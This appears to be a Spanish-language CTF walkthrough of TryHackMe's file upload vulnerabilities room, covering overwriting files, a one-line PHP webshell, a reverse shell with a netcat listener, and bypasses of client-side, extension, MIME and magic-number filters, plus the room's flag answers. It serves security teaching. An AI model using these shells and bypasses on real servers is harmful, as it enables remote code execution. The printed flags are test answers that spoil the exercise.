Hola hacketones! Bienvenidos a un nuevo CTF de la ruta completa de Web Fundamentals, en este capítulo veremos: TryHackMe Upload Vulnerabilities
Introducción
La capacidad de subir archivos a un servidor se ha convertido en parte integral de nuestra interacción con las aplicaciones web. Ya sea una foto de perfil para una red social, subir un informe a la nube o guardar un proyecto en Github, las aplicaciones de las funciones de subida de archivos son ilimitadas.
Desafortunadamente, cuando se manejan mal, las subidas de archivos también pueden abrir vulnerabilidades graves en el servidor. Esto puede llevar a cualquier cosa, desde problemas relativamente menores y molestos; hasta la ejecución remota de código ( RCE ) completa si un atacante logra subir y ejecutar un shell. Con acceso de subida sin restricciones a un servidor (y la capacidad de recuperar datos a voluntad), un atacante podría desfigurar o alterar de otro modo el contenido existente, hasta incluir la inyección de páginas web maliciosas, lo que lleva a otras vulnerabilidades como XSS o CSRF . Al subir archivos arbitrarios, un atacante también podría usar el servidor para alojar y/o servir contenido ilegal, o para filtrar información sensible. Hablando realistamente, un atacante con la capacidad de subir un archivo de su elección a su servidor, sin restricciones, es realmente muy peligroso.
Metodología general
Tenemos un punto de carga de archivos en un sitio. ¿Cómo podemos aprovecharlo?
Como en cualquier tipo de hackeo, la enumeración es clave. Cuanto más comprendamos nuestro entorno, más podremos aprovecharlo . Revisar el código fuente de la página es útil para ver si se aplica algún tipo de filtrado del lado del cliente. Escanear directorios con un forzador de fuerza bruta como Gobuster suele ser útil en ataques web y puede revelar dónde se suben los archivos. Gobuster ya no está instalado por defecto en Kali, pero se puede instalar con sudo apt install gobuster. Interceptar solicitudes de carga con Burpsuite también será útil. Las extensiones de navegador como Wappalyser pueden proporcionar información valiosa de un vistazo sobre el sitio web objetivo.
Con una comprensión básica de cómo el sitio web gestiona nuestra entrada, podemos explorar qué podemos subir y qué no. Si el sitio web utiliza filtrado del lado del cliente, podemos revisar fácilmente el código del filtro e intentar omitirlo (¡más sobre esto más adelante!). Si el sitio web tiene filtrado del lado del servidor, quizás debamos adivinar qué busca el filtro, subir un archivo y, si la subida falla, intentar algo ligeramente diferente según el mensaje de error. Subir archivos diseñados para provocar errores puede ser útil. Herramientas como Burpsuite u OWASP Zap pueden ser muy útiles en esta etapa.
Entraremos en muchos más detalles sobre cómo omitir filtros en tareas posteriores.
Sobrescribir archivos existentes
Al subir archivos al servidor, se deben realizar diversas comprobaciones para garantizar que no sobrescriban nada existente en el servidor. Una práctica común es asignarle un nuevo nombre, generalmente aleatorio o con la fecha y hora de subida añadidas al principio o al final del nombre original. Como alternativa, se pueden realizar comprobaciones para comprobar si el nombre del archivo ya existe en el servidor; si ya existe un archivo con el mismo nombre, el servidor devolverá un mensaje de error solicitando al usuario que elija un nombre diferente. Los permisos de archivo también son importantes para proteger los archivos existentes contra la sobrescritura. Por ejemplo, las páginas web no deben permitir la escritura del usuario, lo que evita que se sobrescriban con una versión maliciosa subida por un atacante.
Sin embargo, si no se toman estas precauciones, podríamos sobrescribir los archivos existentes en el servidor. Siendo realistas, es probable que los permisos de archivo en el servidor eviten que esto se convierta en una vulnerabilidad grave. Aun así, podría ser bastante molesto y conviene estar atento en un entorno de pruebas de penetración o de búsqueda de errores.
Veamos un ejemplo antes de que lo pruebes tú mismo.
❗❗Advertencia❗❗
Tenga en cuenta que demo.uploadvulns.thmse utilizará para todas las demostraciones; sin embargo, este sitio no está disponible en la máquina virtual (VM) cargada . Su propósito es puramente demostrativo.
Los intentos de acceder a este subdominio tendrán consecuencias divertidas… has sido advertido.
En la siguiente imagen tenemos una página web con un formulario de carga:

Es posible que sea necesario enumerar más que esto para un verdadero desafío; sin embargo, en este caso, echemos un vistazo al código fuente de la página:

Dentro del recuadro rojo, vemos el código responsable de mostrar la imagen que vimos en la página. Proviene de un archivo llamado «spaniel.jpg», dentro del directorio «images».
Ahora sabemos de dónde se extrae la imagen: ¿podemos sobrescribirla?
Descarguemos otra imagen de internet y llamémosla spaniel.jpg. Luego la subiremos al sitio y veremos si podemos sobrescribir la imagen existente:


¡Y nuestro ataque fue un éxito! Logramos sobrescribir el original images/spaniel.jpgcon nuestra propia copia.
Ahora, pongamos esto en práctica.
Abre tu navegador web y ve a overwrite.uploadvulns.thm. Tu objetivo es sobrescribir un archivo en el servidor con una carga propia.
Responda las preguntas a continuación
¿Cuál es el nombre del archivo de imagen que se puede sobrescribir?
mountains.jpg
Sobrescribe la imagen. ¿Qué bandera recibes?
THM{OTBiODQ3YmNjYWZhM2UyMmYzZDNiZjI5}
Ejecución remota de código
Está bien sobrescribir archivos existentes en el servidor. Eso es una molestia para quien mantiene el sitio y puede generar vulnerabilidades, pero vayamos más allá: ¡vamos por RCE !
La ejecución remota de código (como su nombre indica) permite ejecutar código arbitrariamente en el servidor web. Si bien es probable que esto ocurra con una cuenta de usuario web con pocos privilegios (como www-dataen servidores Linux), sigue siendo una vulnerabilidad extremadamente grave. La ejecución remota de código mediante una vulnerabilidad de carga en una aplicación web suele explotarse cargando un programa escrito en el mismo lenguaje que el backend del sitio web (u otro lenguaje que el servidor comprenda y ejecute). Tradicionalmente, esto se hacía con PHP; sin embargo, recientemente, otros lenguajes de backend se han vuelto más comunes (Python, Django y Javascript en Node.js son ejemplos destacados). Cabe destacar que en una aplicación enrutada (es decir, una aplicación donde las rutas se definen programáticamente en lugar de estar asignadas al sistema de archivos), este método de ataque se vuelve mucho más complejo y mucho menos probable. La mayoría de los frameworks web modernos se enrutan programáticamente.
Hay dos maneras básicas de lograr RCE en un servidor web al explotar una vulnerabilidad de carga de archivos: webshells y shells de reversión/enlace. En realidad, un shell de reversión/enlace completo es el objetivo ideal para un atacante; sin embargo, un webshell puede ser la única opción disponible (por ejemplo, si se ha impuesto un límite de longitud de archivo para las cargas o si las reglas del firewall impiden cualquier shell basada en red). Analizaremos cada una de ellas. Como metodología general, buscaríamos cargar un shell de algún tipo y luego activarlo, ya sea navegando directamente al archivo si el servidor lo permite (aplicaciones no enrutadas con restricciones inadecuadas), o forzando a la aplicación web a ejecutar el script por nosotros (necesario en aplicaciones enrutadas).
Conchas web:
Supongamos que hemos encontrado una página web con un formulario de carga:

¿Qué hacemos ahora? Bueno, empecemos con un escaneo Gobuster:

Parece que tenemos dos directorios: uploadsy assets. De estos, es probable que cualquier archivo que subamos se guarde en el directorio «uploads». Primero intentaremos subir una imagen válida. Aquí elijo la foto de nuestro adorable perro de la tarea anterior:


Ahora, si vamos a ¡ http://demo.uploadvulns.thm/uploadsdeberíamos ver que se ha subido la foto del spaniel!


Bien, podemos subir imágenes. Probemos con un webshell.
Tal como están las cosas, sabemos que este servidor web se ejecuta con un backend PHP, así que pasaremos directamente a crear y subir el shell. En la práctica, puede que necesitemos hacer un poco más de enumeración; sin embargo, PHP es un buen punto de partida.
Un webshell simple funciona tomando un parámetro y ejecutándolo como un comando del sistema. En PHP, la sintaxis sería:
<?php
echo system($_GET[«cmd»]);
?>
Este código toma un parámetro GET y lo ejecuta como un comando del sistema. Luego, muestra la salida en la pantalla.
Intentemos subirlo al sitio y luego usarlo para mostrar nuestro usuario actual y el contenido del directorio actual:

¡Éxito!
Ahora podríamos usar este shell para leer archivos del sistema o actualizarlo a un shell inverso. Con RCE, las opciones son ilimitadas. Tenga en cuenta que al usar webshells, suele ser más fácil ver la salida consultando el código fuente de la página. Esto mejora drásticamente el formato de la salida.
Conchas inversas:
El proceso para cargar una shell inversa es casi idéntico al de una webshell, por lo que esta sección será más breve. Usaremos la shell inversa Pentest Monkey, que viene por defecto en Kali Linux, pero también se puede descargar aquí . Deberá editar la línea 49 de la shell. Indica : «Como indica, cambie a su dirección IP TryHackMe tun0», que se encuentra en la página de acceso . Puede ignorar la siguiente línea, que también solicita ser modificada. Con la shell editada, lo siguiente que debemos hacer es iniciar un receptor Netcat para recibir la conexión .$ip = ‘127.0.0.1’; // CHANGE THIS
127.0.0.1nc -lvnp 1234

Ahora, carguemos el shell y actívelo navegando a http://demo.uploadvulns.thm/uploads/shell.php. El nombre del shell será, obviamente, el que le hayamos dado ( php-reverse-shell.phppor defecto).
El sitio web debería bloquearse y no cargarse correctamente; sin embargo, si volvemos a nuestra terminal, ¡tenemos un problema!

Una vez más, hemos obtenido RCE en este servidor web. Desde aquí, nos gustaría estabilizar nuestro shell y escalar nuestros privilegios, pero esas son tareas para otro momento. Por ahora, ¡es hora de que lo pruebes tú mismo!
Navegue shell.uploadvulns.thmy complete las preguntas para esta tarea.
Responda las preguntas a continuación
Ejecute un análisis de Gobuster en el sitio web usando la sintaxis de la captura de pantalla anterior. ¿Qué directorio parece usarse para subir archivos?
(NB: Este es un buen hábito que se debe adoptar y le será útil en las próximas tareas…)
/resources
Obtenga un shell web o un shell inverso en la máquina.
¿Cuál es la bandera en el directorio /var/www/ del servidor?
THM{YWFhY2U3ZGI4N2QxNmQzZjk0YjgzZDZk}
Filtración
Hasta ahora, hemos ignorado en gran medida las contradefensas que emplean los desarrolladores web para protegerse de las vulnerabilidades de carga de archivos. Todos los sitios web que han atacado con éxito hasta ahora en esta sala han sido completamente inseguros. Es hora de que eso cambie. A partir de ahora, analizaremos algunos de los mecanismos de defensa utilizados para prevenir la carga maliciosa de archivos y cómo evitarlos.
En primer lugar, analicemos las diferencias entre el filtrado del lado del cliente y el filtrado del lado del servidor .
Cuando hablamos de un script «del lado del cliente», en el contexto de las aplicaciones web, nos referimos a que se ejecuta en el navegador del usuario, no en el propio servidor web. JavaScript es un lenguaje de script del lado del cliente bastante común, aunque existen alternativas. Independientemente del lenguaje utilizado, un script del lado del cliente se ejecutará en el navegador web. En el contexto de la carga de archivos, esto significa que el filtrado se produce incluso antes de que el archivo se cargue al servidor. En teoría, esto parecería positivo, ¿verdad? En un mundo ideal, lo sería; sin embargo, dado que el filtrado se realiza en nuestro ordenador, es muy fácil de eludir. Por lo tanto, el filtrado del lado del cliente en sí mismo es un método muy inseguro para verificar que un archivo subido no sea malicioso.
Por el contrario, como habrás adivinado, un script del lado del servidor se ejecutará en el servidor. Tradicionalmente, PHP era el lenguaje predominante del lado del servidor (seguido de cerca por ASP para IIS de Microsoft); sin embargo, en los últimos años, se han extendido el uso de otras opciones (C#, Node.js, Python, Ruby on Rails y otras). El filtrado del lado del servidor suele ser más difícil de eludir, ya que no se tiene el código disponible. Dado que el código se ejecuta en el servidor, en la mayoría de los casos también será imposible eludir el filtro por completo; en su lugar, debemos crear una carga útil que se ajuste a los filtros existentes, pero que permita ejecutar el código.
Con esto en mente, echemos un vistazo a algunos tipos diferentes de filtrado.
Validación de extensión:
Las extensiones de archivo se utilizan (en teoría) para identificar el contenido de un archivo. En la práctica, son muy fáciles de cambiar, por lo que no son muy relevantes; sin embargo, MS Windows aún las utiliza para identificar tipos de archivo, aunque los sistemas basados en Unix suelen recurrir a otros métodos, que abordaremos más adelante. Los filtros que buscan extensiones funcionan de dos maneras: incluyen extensiones en la lista negra (es decir, tienen una lista de extensiones no permitidas) o incluyen extensiones en la lista blanca (es decir, tienen una lista de extensiones permitidas y rechazan el resto).
Filtrado de tipo de archivo:
Similar a la validación de extensiones, pero más intensiva, el filtrado de tipos de archivo busca, una vez más, verificar que el contenido de un archivo sea aceptable para su carga. Analizaremos dos tipos de validación de tipos de archivo:
- Validación MIME : Los tipos MIME (Extensión de Correode Internet Multipropósito ) se utilizan como identificadores de archivos; originalmente, al transferirse como adjuntos por correo electrónico, ahora también al transferirse mediante HTTP ( S). El tipo MIME para la carga de un archivo se adjunta en el encabezado de la solicitud y tiene un formato similar a este: Los tipos MIME siguen el formato <tipo>/<subtipo>. En la solicitud anterior, se puede ver que la imagen «spaniel.jpg» se subió al servidor. Al ser una imagen JPEG legítima, el tipo MIME para esta carga fue «image/jpeg». El tipo MIME de un archivo se puede verificar tanto en el cliente como en el servidor; sin embargo, como MIME se basa en la extensión del archivo, esto es extremadamente fácil de omitir.

- Validación de Números Mágicos : Los números mágicos son la forma más precisa de determinar el contenido de un archivo; sin embargo, no son imposibles de falsificar. El «número mágico» de un archivo es una cadena de bytes al principio del contenido que lo identifica. Por ejemplo, un archivo PNG tendría estos bytes al principio: 89 50 4E 47 0D 0A 1A 0A.

A diferencia de Windows, los sistemas Unix utilizan números mágicos para identificar archivos; sin embargo, al cargar archivos, es posible comprobar el número mágico del archivo cargado para garantizar su aceptación segura. Esta no es una solución garantizada, pero es más eficaz que comprobar la extensión de un archivo.
Filtrado de longitud de archivo:
Los filtros de longitud de archivo se utilizan para evitar que se carguen archivos grandes al servidor mediante un formulario de carga (ya que esto podría saturar el servidor de recursos). En la mayoría de los casos, esto no causará problemas al cargar shells; sin embargo, es importante tener en cuenta que si un formulario de carga solo espera un archivo muy pequeño, es posible que exista un filtro de longitud para garantizar que se cumpla el requisito de longitud del archivo. Por ejemplo, nuestra shell inversa PHP completa de la tarea anterior tiene un tamaño de 5,4 KB, relativamente pequeño, pero si el formulario espera un máximo de 2 KB, necesitaremos buscar una shell alternativa para cargar.
Filtrado de nombre de archivo:
Como se mencionó anteriormente, los archivos subidos a un servidor deben ser únicos. Normalmente, esto implicaría añadir un aspecto aleatorio al nombre del archivo; sin embargo, una estrategia alternativa sería comprobar si ya existe un archivo con el mismo nombre en el servidor y, en caso afirmativo, generar un error. Además, los nombres de archivo deben revisarse al subirlos para garantizar que no contengan caracteres incorrectos que podrían causar problemas en el sistema de archivos (por ejemplo, bytes nulos o barras diagonales en Linux, así como caracteres de control como [etc.] ;y, posiblemente, caracteres Unicode). Esto significa que, en un sistema bien administrado, es poco probable que los archivos subidos tengan el mismo nombre que les asignamos antes de subirlos, así que tenga en cuenta que podría tener que buscar su shell si logra eludir el filtrado de contenido.
Filtrado de contenido de archivos:
Los sistemas de filtrado más complejos pueden escanear el contenido completo de un archivo subido para garantizar que no falsifique su extensión, tipo MIME ni número mágico. Este proceso es mucho más complejo que el que emplean la mayoría de los sistemas de filtrado básicos, por lo que no se abordará en esta sección.
Cabe destacar que ninguno de estos filtros es perfecto por sí solo; generalmente se usan en conjunto, creando un filtro multicapa que aumenta significativamente la seguridad de la carga. Cualquiera de estos filtros puede aplicarse en el lado del cliente, en el lado del servidor o en ambos.
De igual forma, cada framework y lenguaje incorpora sus propios métodos de filtrado y validación de archivos subidos. Como resultado, es posible que aparezcan exploits específicos del lenguaje; por ejemplo, hasta la quinta versión principal de PHP , era posible eludir un filtro de extensión añadiendo un byte nulo, seguido de una extensión válida, al .phparchivo malicioso. Más recientemente, también fue posible inyectar código PHP en los datos exif de un archivo de imagen que, por lo demás, sería válido y luego forzar al servidor a ejecutarlo. Si le interesa, puede investigar más sobre estos temas.
Responda las preguntas a continuación
¿Cuál es el lenguaje de scripting del lado del servidor tradicionalmente predominante?
PHP
Al validar por extensión de archivo, ¿cómo se llamaría una lista de extensiones aceptadas (donde el servidor rechaza cualquier extensión que no esté en la lista)?
Whitelist
[Investigación] ¿Qué tipo MIME esperarías ver al cargar un archivo CSV?
text/csv
Cómo eludir el filtrado del lado del cliente
Comenzaremos con la primera (y más débil) línea de defensa: el filtrado del lado del cliente.
Como se mencionó anteriormente, el filtrado del lado del cliente suele ser extremadamente fácil de eludir, ya que se realiza completamente en una máquina que controlas . Cuando tienes acceso al código, es muy fácil modificarlo.
Hay cuatro formas sencillas de eludir el filtro de carga de archivos promedio del lado del cliente:
- Desactive Javascript en su navegador . Esto funcionará siempre que el sitio no lo requiera para ofrecer funcionalidades básicas. Si desactivar Javascript por completo impide que el sitio funcione, sería más recomendable usar otro método; de lo contrario, esta puede ser una forma eficaz de eludir por completo el filtro del lado del cliente.
- Interceptar y modificar la página entrante. Con Burpsuite, podemos interceptar la página web entrante y eliminar el filtro de Javascript antes de que se ejecute. El proceso se explicará a continuación.
- Interceptar y modificar la carga del archivo . Mientras que el método anterior funciona antes de cargar la página web, este método permite que la página web se cargue normalmente, pero intercepta la carga del archivo una vez que el filtro la ha aceptado. De nuevo, explicaremos el proceso para usar este método durante la tarea.
- Envía el archivo directamente al punto de carga. ¿Para qué usar la página web con el filtro si puedes enviar el archivo directamente con una herramienta como curl[?]? Publicar los datos directamente en la página que contiene el código para gestionar la carga del archivo es otro método eficaz para evitar por completo un filtro del lado del cliente. No profundizaremos en este método en este tutorial; sin embargo, la sintaxis de dicho comando sería similar a la siguiente: curl -X POST -F «submit:<value>» -F «<file-parameter>:@<path-to-file>» <site>[.] Para usar este método, primero intenta interceptar una carga exitosa (usando Burpsuite o la consola del navegador) para ver los parámetros utilizados en la carga, que luego se pueden insertar en el comando anterior.
A continuación cubriremos los métodos dos y tres en profundidad.
Supongamos que, una vez más, hemos encontrado una página de carga en un sitio web:

Como siempre, revisaremos el código fuente. Aquí vemos una función básica de Javascript que comprueba el tipo MIME de los archivos subidos:

En este caso, podemos ver que el filtro utiliza una lista blanca para excluir cualquier tipo MIME que no sea image/jpeg.
Nuestro siguiente paso es intentar subir un archivo. Como era de esperar, si elegimos un JPEG, la función lo acepta. Si se elige otro, la carga se rechaza.
Una vez establecido esto, iniciemos Burpsuite y recarguemos la página. Veremos nuestra propia solicitud al sitio, pero lo que realmente queremos ver es la respuesta del servidor . Por lo tanto, haga clic derecho en los datos interceptados, desplácese hacia abajo hasta «Interceptar» y seleccione «Responder a esta solicitud».

Al hacer clic en el botón «Reenviar» en la parte superior de la ventana, veremos la respuesta del servidor a nuestra solicitud. Aquí podemos eliminar, comentar o interrumpir la función de Javascript antes de que se cargue:

Habiendo eliminado la función, volvemos a hacer clic en «Avanzar» hasta que el sitio termine de cargarse y ahora somos libres de cargar cualquier tipo de archivo al sitio web:

Cabe destacar que, por defecto, Burpsuite no interceptará ningún archivo Javascript externo que la página web esté cargando. Si necesita editar un script que no esté dentro de la página principal que se está cargando, deberá ir a la pestaña «Opciones» en la parte superior de la ventana de Burpsuite y, en la sección «Interceptar solicitudes de cliente», editar la condición de la primera línea para eliminarla ^js$|:

Ya hemos pasado por alto este filtro interceptándolo y eliminándolo antes de que se cargue la página, pero intentemos hacerlo cargando un archivo con una extensión y un tipo MIME legítimos, y luego interceptando y corrigiendo la carga con Burpsuite.
Tras recargar la página web para restablecer el filtro, tomemos el shell inverso que usamos antes y cámbiele el nombre a «shell.jpg». Como el tipo MIME (basado en la extensión del archivo) se verifica automáticamente, el filtro del lado del cliente permite el paso de nuestra carga útil sin problemas:

Una vez más activaremos nuestra intercepción de Burpsuite, luego haremos clic en «Cargar» y capturaremos la solicitud:

Observe que el tipo MIME de nuestro shell PHP es actualmente image/jpeg. Lo cambiaremos a text/x-php, y la extensión del archivo de .jpga .php, y luego reenviaremos la solicitud al servidor:

Ahora, cuando navegamos hasta http://demo.uploadvulns.thm/uploads/shell.phphaber configurado un escucha netcat, ¡recibimos una conexión desde el shell!

Hemos explicado en detalle dos maneras de evitar un filtro de carga de archivos del lado del cliente. ¡Ahora es el momento de que lo intentes! Navega hasta java.uploadvulns.thmel filtro y olvídalo para obtener una shell inversa. Recuerda que no todos los scripts del lado del cliente son inline. Como se mencionó anteriormente, Gobuster es un excelente punto de partida; el nombre del directorio de carga cambiará con cada nuevo desafío.
Responda las preguntas a continuación
¿Cuál es la bandera en /var/www/?
THM{NDllZDQxNjJjOTE0YWNhZGY3YjljNmE2}
Cómo eludir el filtrado del lado del servidor: extensiones de archivo
¡Es hora de llevar las cosas a otro nivel!
Los filtros del lado del cliente son fáciles de eludir: puedes ver el código, incluso si está ofuscado y necesita procesarse antes de poder leerlo. Pero ¿qué ocurre cuando no puedes ver ni manipular el código? Bueno, eso es un filtro del lado del servidor. En resumen, tenemos que realizar muchas pruebas para tener una idea de lo que se permite o no a través del filtro y, luego, crear gradualmente una carga útil que cumpla con las restricciones.
Para la primera parte de esta tarea, analizaremos un sitio web que utiliza una lista negra de extensiones de archivo como filtro del servidor. Existen diversas maneras de codificar esto, y la omisión que utilizamos depende de ello. En el mundo real, no podríamos ver el código, pero para este ejemplo, lo incluiremos aquí:
<?php
//Get the extension
$extension = pathinfo($_FILES[«fileToUpload»][«name»])[«extension»];
//Check the extension against the blacklist — .php and .phtml
switch($extension){
case «php»:
case «phtml»:
case NULL:
$uploadFail = True;
break;
default:
$uploadFail = False;
}
?>
En este caso, el código busca el último punto ( .) del nombre del archivo y lo usa para confirmar la extensión, por lo que intentaremos evitarlo. Otras maneras en que el código podría funcionar incluyen: buscar el primer punto del nombre del archivo o dividir el nombre del archivo en cada punto y verificar si aparecen extensiones bloqueadas. Abordaremos este último caso más adelante, pero mientras tanto, centrémonos en el código que tenemos aquí.
Podemos ver que el código filtra las extensiones .php`y` .phtml, por lo que si queremos subir un script PHP, tendremos que buscar otra extensión. La página de Wikipedia sobre PHP ofrece algunas extensiones comunes que podemos probar; sin embargo, existen otras extensiones menos utilizadas que los servidores web podrían reconocer. Estas incluyen: .php3`, .php4`, .php5`, .php7`, .phps` .php-s, ` .phty .phar`. Muchas de estas ignoran el filtro (que solo bloquea ` .phpy` .phtml), pero parece que el servidor está configurado para no reconocerlas como archivos PHP, como en el siguiente ejemplo:

En realidad, esta es la configuración predeterminada para los servidores Apache2 al momento de escribir este artículo; sin embargo, es posible que el administrador del sistema haya cambiado la configuración predeterminada (o que el servidor esté desactualizado), por lo que vale la pena intentarlo.
Finalmente descubrimos que la .pharextensión evita el filtro y funciona, lo que nos da nuestro shell:

Veamos otro ejemplo con un filtro diferente. Esta vez lo haremos completamente en caja negra, es decir, sin el código fuente.
Una vez más, tenemos nuestro formulario de carga:

Bien, empezaremos por analizar esto con una carga completamente legítima. Intentemos subir la spaniel.jpgimagen anterior:

Bueno, eso nos indica que al menos se aceptan archivos JPEG. Vamos a por uno que estamos bastante seguros de que será rechazado ( shell.php):

No puedo decir que fue inesperado.
A partir de aquí enumeramos más, probando las técnicas mencionadas anteriormente y, en general, tratando de obtener una idea de lo que el filtro aceptará o rechazará.
En este caso, descubrimos que no hay extensiones de shell que se ejecuten y no se filtren, por lo que volvemos a la mesa de dibujo.
En el ejemplo anterior vimos que el código estaba usando la pathinfo()función PHP para obtener los últimos caracteres después de ., pero ¿qué sucede si filtra la entrada de manera ligeramente diferente?
Intentemos subir un archivo llamado shell.jpg.php. Ya sabemos que se aceptan archivos JPEG, así que ¿qué pasa si el filtro solo comprueba si la .jpgextensión del archivo está en algún lugar de la entrada?
El pseudocódigo para este tipo de filtro podría verse así:
ACCEPT FILE FROM THE USER — SAVE FILENAME IN VARIABLE userInput
IF STRING «.jpg» IS IN VARIABLE userInput:
SAVE THE FILE
ELSE:
RETURN ERROR MESSAGE
Al intentar cargar nuestro archivo, recibimos un mensaje de confirmación. Al navegar al /uploadsdirectorio, se confirma que la carga se cargó correctamente:

Al activarlo recibimos nuestro shell:

Esta no es, en absoluto, una lista exhaustiva de vulnerabilidades de carga relacionadas con las extensiones de archivo. Como en todo lo relacionado con el hacking, buscamos explotar fallos en el código escrito por otros; este código podría estar específicamente diseñado para la tarea en cuestión. Este es el punto clave: existen innumerables maneras de implementar la misma función en programación; la explotación debe adaptarse al filtro en cuestión. La clave para eludir cualquier filtro del servidor es enumerar y ver qué está permitido y qué está bloqueado; luego, intentar crear una carga útil que cumpla con los criterios del filtro.
Ahora te toca. Ya sabes cómo funciona: descubre y evita el filtro para subir y activar un shell. Tu bandera está en /var/www/. El sitio al que estás accediendo es annex.uploadvulns.thm.
Tenga en cuenta que esta tarea también implementó un esquema de nombres aleatorio por primera vez. Por ahora, no debería tener problemas para encontrar su shell, pero tenga en cuenta que los directorios no siempre serán indexables.
Responda las preguntas a continuación
¿Cuál es la bandera en /var/www/?
THM{MGEyYzJiYmI3ODIyM2FlNTNkNjZjYjFl}
Cómo evitar el filtrado del lado del servidor: Números mágicos
Ya hemos analizado el filtrado de extensiones del lado del servidor, pero aprovechemos también la oportunidad para ver cómo se podría implementar la verificación de números mágicos como un filtro del lado del servidor.
Como se mencionó anteriormente, los números mágicos se utilizan como un identificador de archivos más preciso. El número mágico de un archivo es una cadena de dígitos hexadecimales y siempre es el primer valor del archivo. Con esto en mente, es posible usar números mágicos para validar la carga de archivos, simplemente leyendo esos primeros bytes y comparándolos con una lista blanca o negra. Tenga en cuenta que esta técnica puede ser muy efectiva en servidores web basados en PHP ; sin embargo, a veces puede fallar en otros tipos de servidores web (pista, pista).
Veamos un ejemplo. Como siempre, tenemos una página de carga:

Como era de esperar, si subimos nuestro archivo shell.php estándar , recibimos un error; sin embargo, si subimos un archivo JPEG, el sitio web lo acepta sin problemas. Hasta ahora, todo funciona correctamente.
Del intento anterior de subir archivos, sabemos que se aceptan archivos JPEG, así que intentemos añadir el número mágico JPEG al principio de nuestro shell.phparchivo. Un vistazo rápido a la lista de firmas de archivos en Wikipedia nos muestra que existen varios números mágicos posibles para archivos JPEG. No debería importar cuál usemos, así que elijamos uno ( FF D8 FF DB). Podríamos añadir la representación ASCII de estos dígitos (ÿØÿÛ) directamente al principio del archivo, pero suele ser más fácil trabajar directamente con la representación hexadecimal, así que veamos ese método.
Antes de comenzar, usemos el filecomando de Linux para verificar el tipo de archivo de nuestro shell:

Como era de esperar, el comando indica que el tipo de archivo es PHP. Tenga esto en cuenta al continuar con la explicación.
Vemos que el número mágico que elegimos tiene cuatro bytes, así que abramos el script de shell inverso y agreguemos cuatro caracteres aleatorios en la primera línea. Estos caracteres no importan, así que para este ejemplo solo usaremos cuatro «A»:

Guarde el archivo y salga. A continuación, reabriremos el archivo en hexeditor(que viene por defecto en Kali) o en cualquier otra herramienta que permita ver y editar el shell en hexadecimal. En el editor hexadecimal, el archivo se ve así:

Tenga en cuenta los cuatro bytes en el cuadro rojo: todos son 41, que es el código hexadecimal para una «A» mayúscula, exactamente lo que agregamos en la parte superior del archivo anteriormente.
Cambie esto al número mágico que encontramos anteriormente para los archivos JPEG:FF D8 FF DB

Ahora, si guardamos y salimos del archivo (Ctrl + x), podemos usarlo filenuevamente y ver que hemos falsificado exitosamente el tipo de archivo de nuestro shell:

Perfecto. ¡Ahora intentemos subir el shell modificado y veamos si supera el filtro!

Ahí lo tenemos: pasamos por alto el filtro de número mágico del lado del servidor y recibimos un shell inverso.
Dirígete a magic.uploadvulns.thm… es hora del último mini desafío.
Este será el último sitio web de ejemplo que deberás hackear antes del desafío de la tarea once; por lo tanto, volvemos a reforzar la seguridad básica. El sitio web de la última tarea implementó un esquema de nombres modificado, que antepone la fecha y la hora de subida al nombre del archivo. Esta tarea no lo hará para simplificar el proceso; sin embargo, se ha desactivado la indexación de directorios, por lo que no podrás acceder al directorio que contiene las subidas. En su lugar, tendrás que acceder directamente al shell mediante su URI.
Evita el filtro del número mágico para subir un shell. Encuentra la ubicación del shell subido y actívalo. Tu bandera está en /var/www/.
Responda las preguntas a continuación
Coge la bandera de /var/www/
THM{MWY5ZGU4NzE0ZDlhNjE1NGM4ZThjZDJh}
Metodología de ejemplo
Hemos visto varios tipos de filtros, tanto del lado del cliente como del servidor, así como la metodología general para los ataques de carga de archivos. En la siguiente tarea, se les asignará un desafío de carga de archivos de caja negra, así que aprovechemos la oportunidad para analizar un ejemplo de metodología para abordar este tipo de desafío con más detalle. Pueden desarrollar su propia alternativa a este método; sin embargo, si no están familiarizados con este tipo de ataque, la siguiente información podría serles útil.
Veremos esto como un proceso paso a paso. Supongamos que nos han asignado un sitio web para realizar una auditoría de seguridad.
- Lo primero que haríamos sería revisar el sitio web en su conjunto. Usando extensiones de navegador como el mencionado Wappalyzer (o manualmente), buscaríamos indicadores de los lenguajes y frameworks con los que se podría haber creado la aplicación web. Tenga en cuenta que Wappalyzer no siempre es 100% preciso. Un buen comienzo para enumerar esto manualmente sería realizar una solicitud al sitio web e interceptar la respuesta con Burpsuite. Encabezados como servero x-powered-bypueden usarse para obtener información sobre el servidor. También buscaríamos vectores de ataque, como, por ejemplo, una página de carga.
- Tras encontrar una página de carga, intentaríamos inspeccionarla más a fondo. Para empezar, sería recomendable revisar el código fuente de los scripts del lado del cliente para determinar si existen filtros que se puedan omitir, ya que esto está completamente bajo nuestro control.
- Intentaríamos entonces subir un archivo sin ningún problema. A partir de aquí, veríamos cómo se accede a nuestro archivo. En otras palabras, ¿podemos acceder a él directamente en una carpeta de subidas? ¿Está incrustado en alguna página? ¿Cuál es el esquema de nombres del sitio web? Aquí es donde herramientas como Gobuster podrían ser útiles si la ubicación no es evidente a primera vista. Este paso es fundamental, ya que no solo mejora nuestro conocimiento del entorno virtual que estamos atacando, sino que también nos proporciona un archivo «aceptado» de referencia en el que podemos basar nuestras pruebas.
- Un parámetro importante de Gobuster es el -xparámetro que permite buscar archivos con extensiones específicas. Por ejemplo, si agregaste -x php,txt,htmla tu comando de Gobuster, la herramienta añadiría .php, .txt, y .htmla cada palabra de la lista de palabras seleccionada, una a la vez. Esto puede ser muy útil si has subido una carga útil y el servidor cambia el nombre de los archivos subidos.
- Tras determinar cómo y dónde se puede acceder a nuestros archivos subidos, intentaríamos subir un archivo malicioso, eludiendo cualquier filtro del lado del cliente que encontráramos en el paso dos. Esperaríamos que un filtro del lado del servidor detuviera la subida, pero el mensaje de error que nos muestra puede ser muy útil para determinar nuestros próximos pasos.
Suponiendo que el servidor ha detenido la carga de nuestro archivo malicioso, aquí hay algunas formas de determinar qué tipo de filtro del lado del servidor puede estar en funcionamiento:
- Si logras subir un archivo con una extensión totalmente inválida (por ejemplo, testingimage.invalidfileextension), es probable que el servidor esté usando una lista negra de extensiones para filtrar los archivos ejecutables. Si la carga falla, cualquier filtro de extensiones estará operando con una lista blanca.
- Intenta volver a subir el archivo inocente que aceptaste originalmente, pero esta vez cambia el número mágico del archivo para que coincida con lo que esperarías que se filtrara. Si la subida falla, sabrás que el servidor está usando un filtro basado en un número mágico.
- Al igual que en el punto anterior, intenta subir tu archivo inocente, pero intercepta la solicitud con Burpsuite y cambia el tipo MIME de la carga a uno que esperarías que se filtrara. Si la carga falla, sabrás que el servidor está filtrando según los tipos MIME .
